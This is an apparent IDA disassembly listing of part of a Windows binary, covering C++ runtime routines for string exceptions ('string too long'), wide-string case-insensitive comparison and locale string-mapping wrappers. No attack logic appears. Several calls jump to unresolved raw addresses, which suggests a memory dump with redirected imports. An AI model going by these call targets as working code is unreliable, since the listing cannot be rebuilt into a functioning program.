sub_4227AA	proc near		; CODE XREF: ___:004227D5p
					; sub_422858+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_424CA4
		call	sub_404667
		mov	ecx, esi
		pop	esi
		jmp	sub_422BA6
sub_4227AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4227C5	proc near		; DATA XREF: ___:00424CA8o
					; ___:00424CB8o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4227D1
		mov	eax, offset dword_424290

locret_4227D1:				; CODE XREF: sub_4227C5+5j
		retn
sub_4227C5	endp

; ---------------------------------------------------------------------------

loc_4227D2:				; DATA XREF: ___:off_424CA4o
		push	esi
		mov	esi, ecx
		call	sub_4227AA
		test	byte ptr [esp+8], 1
		jz	short loc_4227E8
		push	esi
		call	sub_4182AF
		pop	ecx

loc_4227E8:				; CODE XREF: ___:004227DFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4227EE	proc near		; CODE XREF: sub_422863+29p
		mov	eax, offset loc_423122
		call	sub_418290
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_424CC0
		call	sub_422B1F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_424CA4
		call	sub_4228A0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_424CB4
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4227EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42283C	proc near		; DATA XREF: ___:off_424CB4o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_422858
		test	[esp+4+arg_0], 1
		jz	short loc_422852
		push	esi
		call	sub_4182AF
		pop	ecx

loc_422852:				; CODE XREF: sub_42283C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42283C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422858	proc near		; CODE XREF: sub_42283C+3p
					; DATA XREF: ___:0042502Co
		mov	dword ptr [ecx], offset	off_424CB4
		jmp	sub_4227AA
sub_422858	endp


; =============== S U B	R O U T	I N E =======================================



sub_422863	proc near		; CODE XREF: sub_404514+13p
					; sub_4046D8+Ep
		mov	eax, offset loc_423134
		call	sub_418290
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_422780
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4227EE
		push	offset dword_425028
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_422BC9
		int	3		; Trap to Debugger
sub_422863	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4228A0	proc near		; CODE XREF: sub_4227EE+32p
					; sub_4228C0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_404514
		mov	eax, esi
		pop	esi
		retn	4
sub_4228A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4228C0	proc near		; CODE XREF: sub_42298A+29p
		mov	eax, offset loc_423146
		call	sub_418290
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_424CC0
		call	sub_422B1F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_424CA4
		call	sub_4228A0
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4228C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_422908	proc near		; CODE XREF: sub_422972+7p
					; sub_4229CE+7p ...
		mov	eax, offset loc_423158
		call	sub_418290
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_422B5C
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_424CA4
		call	sub_4228A0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_422908	endp


; =============== S U B	R O U T	I N E =======================================



sub_42294B	proc near		; DATA XREF: ___:off_424CE0o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_422967
		test	[esp+4+arg_0], 1
		jz	short loc_422961
		push	esi
		call	sub_4182AF
		pop	ecx

loc_422961:				; CODE XREF: sub_42294B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42294B	endp


; =============== S U B	R O U T	I N E =======================================



sub_422967	proc near		; CODE XREF: sub_42294B+3p
					; DATA XREF: ___:004250D4o
		mov	dword ptr [ecx], offset	off_424CE0
		jmp	sub_4227AA
sub_422967	endp


; =============== S U B	R O U T	I N E =======================================



sub_422972	proc near		; CODE XREF: sub_4229E6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_422908
		mov	dword ptr [esi], offset	off_424CB4
		mov	eax, esi
		pop	esi
		retn	4
sub_422972	endp


; =============== S U B	R O U T	I N E =======================================



sub_42298A	proc near		; CODE XREF: sub_404464+15p
					; sub_4044BD+15p ...
		mov	eax, offset loc_42316A
		call	sub_418290
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_422780
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4228C0
		push	offset dword_4250D0
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_424CE0
		call	sub_422BC9
		int	3		; Trap to Debugger
sub_42298A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4229CE	proc near		; CODE XREF: sub_4229E6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_422908
		mov	dword ptr [esi], offset	off_424CE0
		mov	eax, esi
		pop	esi
		retn	4
sub_4229CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4229E6	proc near		; DATA XREF: ___:00424CACo

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_422908
		push	offset dword_425110
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_422BC9
		int	3		; Trap to Debugger

loc_422A04:				; DATA XREF: ___:00424CE8o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4229CE
		push	offset dword_4250D0
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_422BC9
		int	3		; Trap to Debugger

loc_422A22:				; DATA XREF: ___:00424CBCo
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_422972
		push	offset dword_425028
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_422BC9
		int	3		; Trap to Debugger
sub_4229E6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422A40	proc near
		nop
		jmp	near ptr 71B2ACCBh
sub_422A40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_422A46	proc near		; CODE XREF: sub_403DF6+5Ep
					; sub_4053D5+159p
		jmp	near ptr 71AB1B7Bh
sub_422A46	endp

; ---------------------------------------------------------------------------
		pop	eax

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422A4C	proc near		; CODE XREF: sub_417EFC+23p
					; sub_4181A0+13p
		nop
		jmp	near ptr 27F0000h
sub_422A4C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422A52	proc near		; CODE XREF: sub_409392+E2p
					; sub_409392+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_4CDA48, 0
		push	ebx
		jnz	short loc_422A98
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]

loc_422A64:				; CODE XREF: sub_422A52+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_422A76
		cmp	bx, 41h
		jb	short loc_422A76
		add	ebx, 20h

loc_422A76:				; CODE XREF: sub_422A52+19j
					; sub_422A52+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_422A88
		cmp	ax, 41h
		jb	short loc_422A88
		add	eax, 20h

loc_422A88:				; CODE XREF: sub_422A52+2Bj
					; sub_422A52+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_422AC8
		cmp	bx, ax
		jz	short loc_422A64
		jmp	short loc_422AC8
; ---------------------------------------------------------------------------

loc_422A98:				; CODE XREF: sub_422A52+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]

loc_422AA2:				; CODE XREF: sub_422A52+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_422C03
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_422C03
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_422AC6
		cmp	bx, ax
		jz	short loc_422AA2

loc_422AC6:				; CODE XREF: sub_422A52+6Dj
		pop	edi
		pop	esi

loc_422AC8:				; CODE XREF: sub_422A52+3Dj
					; sub_422A52+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_422A52	endp


; =============== S U B	R O U T	I N E =======================================



sub_422AD2	proc near		; CODE XREF: ___:00422AEAp
		mov	dword ptr [ecx], offset	off_424D00
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_422AE6
		push	ecx
		call	sub_417C3B
		pop	ecx

locret_422AE6:				; CODE XREF: sub_422AD2+Bj
		retn
sub_422AD2	endp

; ---------------------------------------------------------------------------

loc_422AE7:				; DATA XREF: ___:off_424D00o
		push	esi
		mov	esi, ecx
		call	sub_422AD2
		test	byte ptr [esp+8], 1
		jz	short loc_422AFD
		push	esi
		call	sub_4182AF
		pop	ecx

loc_422AFD:				; CODE XREF: ___:00422AF4j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------

loc_422B03:				; DATA XREF: ___:off_424D08o
		push	esi
		mov	esi, ecx
		call	sub_422BA6
		test	byte ptr [esp+8], 1
		jz	short loc_422B19
		push	esi
		call	sub_4182AF
		pop	ecx

loc_422B19:				; CODE XREF: ___:00422B10j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_422B1F	proc near		; CODE XREF: sub_4227EE+1Dp
					; sub_4228C0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_424D08
		push	dword ptr [edi]
		call	sub_417AB0
		inc	eax
		push	eax
		call	sub_4185F5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_422B4E
		push	dword ptr [edi]
		push	eax
		call	sub_4179C0
		pop	ecx
		pop	ecx

loc_422B4E:				; CODE XREF: sub_422B1F+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_422B1F	endp


; =============== S U B	R O U T	I N E =======================================



sub_422B5C	proc near		; CODE XREF: sub_422908+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_424D08
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_422B99
		push	dword ptr [edi+4]
		call	sub_417AB0
		inc	eax
		push	eax
		call	sub_4185F5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_422B9F
		push	dword ptr [edi+4]
		push	eax
		call	sub_4179C0
		pop	ecx
		pop	ecx
		jmp	short loc_422B9F
; ---------------------------------------------------------------------------

loc_422B99:				; CODE XREF: sub_422B5C+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax

loc_422B9F:				; CODE XREF: sub_422B5C+2Ej
					; sub_422B5C+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_422B5C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422BA6	proc near		; CODE XREF: sub_4227AA+16j
					; ___:00422B06p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_424D08
		jz	short locret_422BBB
		push	dword ptr [ecx+4]
		call	sub_4182AF
		pop	ecx

locret_422BBB:				; CODE XREF: sub_422BA6+Aj
		retn
sub_422BA6	endp


; =============== S U B	R O U T	I N E =======================================



sub_422BBC	proc near		; DATA XREF: ___:00424D0Co
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_422BC8
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_422BC8:				; CODE XREF: sub_422BBC+5j
		retn
sub_422BBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422BC9	proc near		; CODE XREF: sub_422863+37p
					; sub_42298A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_424D28
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		nop
		call	near ptr 2850000h
		pop	edi
		pop	esi
		leave
		retn	8
sub_422BC9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422C03	proc near		; CODE XREF: sub_422A52+56p
					; sub_422A52+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_422C15
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------

loc_422C15:				; CODE XREF: sub_422C03+Bj
		cmp	dword_4CDA48, 0
		jnz	short loc_422C2F
		cmp	ax, 41h
		jb	short locret_422C76
		cmp	ax, 5Ah
		ja	short locret_422C76
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------

loc_422C2F:				; CODE XREF: sub_422C03+19j
		cmp	ax, 100h
		jnb	short loc_422C49
		push	1
		push	eax
		call	sub_422EB1
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_422C49
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------

loc_422C49:				; CODE XREF: sub_422C03+30j
					; sub_422C03+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_4CDA48
		call	sub_422C78
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_422C76
		mov	ax, [ebp+var_2]

locret_422C76:				; CODE XREF: sub_422C03+1Fj
					; sub_422C03+25j ...
		leave
		retn
sub_422C03	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422C78	proc near		; CODE XREF: sub_422C03+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424D48
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_4CDCA4, esi
		jnz	short loc_422CEE
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_4248D8
		mov	edi, 100h
		push	edi
		push	esi
		nop
		call	near ptr 2870000h
		test	eax, eax
		jz	short loc_422CCC
		mov	dword_4CDCA4, ebx
		jmp	short loc_422CEE
; ---------------------------------------------------------------------------

loc_422CCC:				; CODE XREF: sub_422C78+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset dword_436EF4
		push	edi
		push	esi
		nop
		call	near ptr 2860000h
		test	eax, eax
		jz	loc_422E6D
		mov	dword_4CDCA4, 2

loc_422CEE:				; CODE XREF: sub_422C78+2Ej
					; sub_422C78+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_422D03
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_422E81
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax

loc_422D03:				; CODE XREF: sub_422C78+79j
		mov	eax, dword_4CDCA4
		cmp	eax, 1
		jnz	short loc_422D2A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2870000h
		jmp	loc_422E6F
; ---------------------------------------------------------------------------

loc_422D2A:				; CODE XREF: sub_422C78+93j
		cmp	eax, 2
		jnz	loc_422E6D
		cmp	[ebp+arg_18], esi
		jnz	short loc_422D40
		mov	eax, dword_4CDA58
		mov	[ebp+arg_18], eax

loc_422D40:				; CODE XREF: sub_422C78+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 27B0000h
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_422E6D
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_422D86
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi

loc_422D86:				; CODE XREF: sub_422C78+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_422E6D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		call	near ptr 27B0000h
		nop
		test	eax, eax
		jz	loc_422E6D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2860000h
		nop
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_422E6D
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422E09
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]

loc_422E09:				; CODE XREF: sub_422C78+17Dj
		cmp	ebx, esi
		jz	short loc_422E6D
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2860000h
		nop
		test	eax, eax
		jz	short loc_422E6D
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_422E47
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_422E69
		cmp	eax, edi
		jl	short loc_422E38
		mov	eax, edi

loc_422E38:				; CODE XREF: sub_422C78+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_418C10
		add	esp, 0Ch
		jmp	short loc_422E69
; ---------------------------------------------------------------------------

loc_422E47:				; CODE XREF: sub_422C78+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_422E50
		push	esi
		push	esi
		jmp	short loc_422E56
; ---------------------------------------------------------------------------

loc_422E50:				; CODE XREF: sub_422C78+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]

loc_422E56:				; CODE XREF: sub_422C78+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2630000h
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_422E6D

loc_422E69:				; CODE XREF: sub_422C78+1B8j
					; sub_422C78+1CDj
		mov	eax, edi
		jmp	short loc_422E6F
; ---------------------------------------------------------------------------

loc_422E6D:				; CODE XREF: sub_422C78+66j
					; sub_422C78+B5j ...
		xor	eax, eax

loc_422E6F:				; CODE XREF: sub_422C78+ADj
					; sub_422C78+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422C78	endp


; =============== S U B	R O U T	I N E =======================================



sub_422E81	proc near		; CODE XREF: sub_422C78+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_422EA0

loc_422E91:				; CODE XREF: sub_422E81+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_422EA0
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_422E91

loc_422EA0:				; CODE XREF: sub_422E81+Ej
					; sub_422E81+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_422EAE
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------

loc_422EAE:				; CODE XREF: sub_422E81+24j
		mov	eax, edx
		retn
sub_422E81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422EB1	proc near		; CODE XREF: sub_422C03+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_422EF1
		cmp	[ebp+arg_0], 100h
		jnb	short loc_422ED5
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_433C74
		mov	ax, [ecx+eax*2]
		jmp	short loc_422EF8
; ---------------------------------------------------------------------------

loc_422ED5:				; CODE XREF: sub_422EB1+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_422F03
		add	esp, 18h
		test	eax, eax
		jnz	short loc_422EF5

loc_422EF1:				; CODE XREF: sub_422EB1+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_422EF5:				; CODE XREF: sub_422EB1+3Ej
		mov	eax, [ebp+var_4]

loc_422EF8:				; CODE XREF: sub_422EB1+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_422EB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422F03	proc near		; CODE XREF: sub_422EB1+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424D60
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4CDCA8
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_422F72
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_4248D8
		push	esi
		nop
		call	near ptr 25F0000h
		test	eax, eax
		jz	short loc_422F50
		mov	eax, esi
		jmp	short loc_422F6D
; ---------------------------------------------------------------------------

loc_422F50:				; CODE XREF: sub_422F03+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_436EF4
		push	esi
		push	edi
		nop
		call	near ptr 25F0815h
		test	eax, eax
		jz	loc_4230B4
		push	2
		pop	eax

loc_422F6D:				; CODE XREF: sub_422F03+4Bj
		mov	dword_4CDCA8, eax

loc_422F72:				; CODE XREF: sub_422F03+2Fj
		cmp	eax, 1
		jnz	short loc_422F8E
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 25F0000h
		nop
		jmp	loc_4230B6
; ---------------------------------------------------------------------------

loc_422F8E:				; CODE XREF: sub_422F03+72j
		cmp	eax, 2
		jnz	loc_4230B4
		cmp	[ebp+arg_10], edi
		jnz	short loc_422FA4
		mov	eax, dword_4CDA58
		mov	[ebp+arg_10], eax

loc_422FA4:				; CODE XREF: sub_422F03+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		call	near ptr 27B0000h
		nop
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_4230B4
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_423002
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]

loc_423002:				; CODE XREF: sub_422F03+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_4230B4
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		call	near ptr 27B0000h
		nop
		test	eax, eax
		jz	loc_4230B4
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_423057
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx

loc_423057:				; CODE XREF: sub_422F03+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_4230B4
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_42306B
		mov	eax, dword_4CDA48

loc_42306B:				; CODE XREF: sub_422F03+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 25F0815h
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_4230B4
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_4230B4
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_4182C0
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_4230B6
; ---------------------------------------------------------------------------

loc_4230B4:				; CODE XREF: sub_422F03+61j
					; sub_422F03+8Ej ...
		xor	eax, eax

loc_4230B6:				; CODE XREF: sub_422F03+86j
					; sub_422F03+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422F03	endp


; =============== S U B	R O U T	I N E =======================================



sub_4230C8	proc near		; DATA XREF: ___:00424F14o

; FUNCTION CHUNK AT 0040445C SIZE 00000008 BYTES

